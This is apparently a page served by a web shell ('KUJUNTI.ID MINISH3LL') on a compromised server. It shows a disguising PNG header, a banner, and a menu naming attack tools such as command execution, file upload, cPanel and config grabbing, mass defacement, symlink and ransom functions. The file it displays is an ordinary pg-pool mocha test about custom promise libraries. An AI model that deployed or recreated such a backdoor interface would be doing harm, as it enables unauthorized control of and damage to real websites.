\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/biogreenas/BiogreenMangal/node_modules/pg-pool/test/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //var/www/html/biogreenas/BiogreenMangal/node_modules/pg-pool/test/bring-your-own-promise.js


'use strict'
const co = require('co')
const expect = require('expect.js')

const describe = require('mocha').describe
const it = require('mocha').it
const BluebirdPromise = require('bluebird')

const Pool = require('../')

const checkType = (promise) => {
  expect(promise).to.be.a(BluebirdPromise)
  return promise.catch((e) => undefined)
}

describe('Bring your own promise', function () {
  it(
    'uses supplied promise for operations',
    co.wrap(function* () {
      const pool = new Pool({ Promise: BluebirdPromise })
      const client1 = yield checkType(pool.connect())
      client1.release()
      yield checkType(pool.query('SELECT NOW()'))
      const client2 = yield checkType(pool.connect())
      // TODO - make sure pg supports BYOP as well
      client2.release()
      yield checkType(pool.end())
    })
  )

  it(
    'uses promises in errors',
    co.wrap(function* () {
      const pool = new Pool({ Promise: BluebirdPromise, port: 48484 })
      yield checkType(pool.connect())
      yield checkType(pool.end())
      yield checkType(pool.connect())
      yield checkType(pool.query())
      yield checkType(pool.end())
    })
  )
})

© KUJUNTI.ID